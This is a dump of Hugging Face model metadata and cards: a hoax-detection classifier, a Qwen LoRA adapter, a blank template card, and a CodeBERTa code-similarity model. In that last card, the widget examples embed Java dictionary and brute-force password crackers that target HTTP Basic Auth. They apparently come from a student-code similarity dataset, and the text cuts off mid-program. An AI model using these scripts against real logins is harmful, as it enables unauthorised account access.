modelId
string | author
string | last_modified
timestamp[us, tz=UTC] | downloads
int64 | likes
int64 | library_name
string | tags
list | pipeline_tag
string | createdAt
timestamp[us, tz=UTC] | card
string |
|---|---|---|---|---|---|---|---|---|---|
akshaybhati28/try
|
akshaybhati28
| 2025-09-23T16:25:47Z | 0 | 0 | null |
[
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T16:25:47Z |
---
license: apache-2.0
---
|
ludyhasby/hoax_sahih_AI
|
ludyhasby
| 2025-09-23T16:23:21Z | 0 | 0 | null |
[
"text-classification",
"id",
"license:apache-2.0",
"region:us"
] |
text-classification
| 2025-09-21T16:00:38Z |
---
license: apache-2.0
language:
- id
metrics:
- accuracy
pipeline_tag: text-classification
---
# Hoax Detection SahihAI 📰🤖
<p align="center">
<img src="logo_sahihAI.png" width="80%"> <br>
Sahih AI
</p>
Proyek ini bertujuan untuk **mendeteksi apakah sebuah berita kemungkinan benar atau hoax** menggunakan **model deep learning berbasis TensorFlow**. Model dan tokenizer di-host di [🤗 Hugging Face Hub](https://huggingface.co/).
---
## Fitur
- Preprocessing teks (normalisasi slang, penghapusan stopwords, pembersihan tanda baca).
- Konversi emoji menjadi representasi kata.
- Tokenisasi & padding otomatis sebelum inference.
- Model klasifikasi biner (0 = Berita Benar, 1 = Berita Hoax).
---
## Instalasi
Clone model:
```bash
git clone https://huggingface.co/ludyhasby/hoax_sahih_AI
cd hoax_sahih_AI
pip install -r requirements.txt
```
## Inference
Berikut adalah contoh penggunaan model
### 1. Import Library yang diperlukan, packages statics sudah kami masukkan kedalam direktori
```python
import pickle
import tensorflow as tf
from tensorflow.keras.preprocessing.sequence import pad_sequences
from huggingface_hub import hf_hub_download
from statics import slang_dict2, stop_words, emoji_dict, max_length
import re
```
### 2. Deklarasikan beberapa fungsi penting
```python
def load_important(token_hf):
# --- Step 1. Load Model ---
model_path = hf_hub_download(
repo_id="ludyhasby/hoax_sahih_AI",
filename="hoax_detection.h5",
token=token_hf # masukkan token Anda
)
model = tf.keras.models.load_model(model_path, compile=False)
# --- Step 2. Load Tokenizer ---
tokenizer_path = hf_hub_download(
repo_id="ludyhasby/hoax_sahih_AI",
filename="tokenizer_hoax.pickle"
)
with open(tokenizer_path, "rb") as handle:
tokenizer = pickle.load(handle)
return model, tokenizer
# --- Step 3. Preprocessing Things ---
def replace_emot(teks, emoji_dict):
for j, emoticon in (emoji_dict["Emoji"].items()):
tag = emoji_dict["tag_indo"][j]
teks = teks.replace(emoticon, f" {tag}")
return teks
def normalize_slang(text, slang_dict):
list_word = text.split()
for word in list_word:
for j, original in slang_dict['original'].items():
if word == original:
text = text.replace(word, slang_dict['replacement'][j])
return text
def teks_to_pad(teks):
teks_seq = tokenizer.texts_to_sequences(teks)
teks_pad = pad_sequences(teks_seq, maxlen=max_length, truncating=trunc_type, padding=pad_type)
return teks_pad
def preprocessing(text, emot_f, slang_dict, STOP_PREP):
text = replace_emot(text, emot_f)
text = re.sub(r'[^\w\s]', ' ', text)
text = text.lower()
text = re.sub(r'username', '', text)
text = normalize_slang(text, slang_dict)
print(text)
# Mengubah string menjadi list kata
words = text.split()
filtered_words = [word for word in words if word.lower() not in STOP_PREP]
text = ' '.join(filtered_words)
text = re.sub(r"\d+", "", text)
text = re.sub(r'[ ]+', ' ', text)
# Tokenizer
padded = teks_to_pad([text])
return padded
def decode_label(encode):
if encode == 0:
return "Berita Kemungkinan Benar"
elif encode == 1:
return "Berita Kemungkinan Salah [Hoax]"
return "Out of Bound !"
def main_inference(teks, emoji_dict, slang_dict, STOP_PREP):
padnya = preprocessing(teks, emoji_dict, slang_dict2, STOP_PREP)
pred = model.predict(padnya)
bin_result = (pred >= 0.5).astype(int)
probability = pred[0][0] if bin_result==1 else 1-pred[0][0]
print(decode_label(bin_result))
print(probability)
```
### 3. Contoh Penggunaan
```python
berita = input("Silahkan masukkan berita Anda: ")
main_inference(berita, emoji_dict, slang_dict2, stop_words)
```
### 4. Struktur Model
```
.
├── hoax_detection.h5 # Model terlatih
├── tokenizer_hoax.pickle # Tokenizer
├── hoax_inference.py # Script Contoh Penggunaan Siap Gunakan (Lokal)
├── requirements.txt
├── statics.py # Modul Statis yang diperlukan saat proses inferensia
├── logo_sahihAI.png
└── README.md
```
Copyright Ludy Hasby Aulia @ 2025
|
thangquang09/uit_qwen25_7b_lora
|
thangquang09
| 2025-09-23T16:23:15Z | 7 | 0 |
peft
|
[
"peft",
"safetensors",
"base_model:adapter:unsloth/Qwen2.5-7B",
"lora",
"sft",
"transformers",
"trl",
"unsloth",
"text-generation",
"base_model:unsloth/Qwen2.5-7B",
"region:us"
] |
text-generation
| 2025-09-21T07:08:09Z |
---
base_model: unsloth/Qwen2.5-7B
library_name: peft
model_name: lora_model_7b
tags:
- base_model:adapter:unsloth/Qwen2.5-7B
- lora
- sft
- transformers
- trl
- unsloth
licence: license
pipeline_tag: text-generation
---
# Model Card for lora_model_7b
This model is a fine-tuned version of [unsloth/Qwen2.5-7B](https://huggingface.co/unsloth/Qwen2.5-7B).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="None", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
This model was trained with SFT.
### Framework versions
- PEFT 0.17.1
- TRL: 0.22.2
- Transformers: 4.55.4
- Pytorch: 2.8.0
- Datasets: 3.6.0
- Tokenizers: 0.21.4
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
choiqs/Qwen3-1.7B-sg-bsz128-regular-skywork8b-seed42-lr2e-6-checkpoint200
|
choiqs
| 2025-09-23T16:22:52Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T16:22:19Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
Best000/eg_a37
|
Best000
| 2025-09-23T16:20:07Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T16:17:30Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr2e-05-split0.0
|
buelfhood
| 2025-09-23T16:18:15Z | 0 | 0 |
sentence-transformers
|
[
"sentence-transformers",
"safetensors",
"roberta",
"sentence-similarity",
"feature-extraction",
"dense",
"generated_from_trainer",
"dataset_size:42960",
"loss:CachedMultipleNegativesRankingLoss",
"dataset:buelfhood/SOCO_TRAIN_java",
"arxiv:1908.10084",
"arxiv:2101.06983",
"base_model:huggingface/CodeBERTa-small-v1",
"base_model:finetune:huggingface/CodeBERTa-small-v1",
"autotrain_compatible",
"text-embeddings-inference",
"endpoints_compatible",
"region:us"
] |
sentence-similarity
| 2025-09-23T16:17:56Z |
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- dense
- generated_from_trainer
- dataset_size:42960
- loss:CachedMultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\
\ String line;\n while ((line = in.readLine()) != null) {\n \
\ System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\
\ String();\n String c2 = new String();\n String c3 = new String();\n \
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\
\ username, String password) {\n return \" \" + base64Encode (username + \"\
:\" + password);\n }\n\n private final static char base64Array [] = {\n \
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\
\n private static String base64Encode (String string) {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\
\ = 0;\n pad = 1;\n }\n else\n b3\
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n"
- "import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\n\
import java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\
\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\n\
import javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\n\
import javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n \
\ static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(\"smtpServer\"\
);\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(\"\
recipient\");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(\"\
sender\");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(\"\
messageHeader\");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\
\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip\
\ = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject\
\ = MESSAGE_HEADER;\n\t\t\tString body = \"Testing\";\n\n\t\t\tSystem.out.println(\"\
Started sending the message\");\n\t\t\tMailsend.send(smtpServer,recip , from,\
\ subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\
\t\t\t\t\"Usage: java mailsend\"\n\t\t\t\t\t+ \" smtpServer toAddress fromAddress\
\ subjectText bodyText\");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic\
\ static void send(String smtpServer, String receiver,\tString from, String subject,\
\ String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\
\n\t\t\t\n\n\t\t\tprops.put(\"mail.smtp.host\", smtpServer);\n\t\t\tprops.put(\"\
mail.smtp.timeout\", \"20000\");\n\t\t\tprops.put(\"mail.smtp.connectiontimeout\"\
, \"20000\");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props,\
\ null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\
\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\t\
InternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\
\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\
\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println(\"sent the email with the\
\ differences : \"+ + \"using the mail server: \"+ smtpServer);\n\n\t\t}\n\t\t\
catch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\
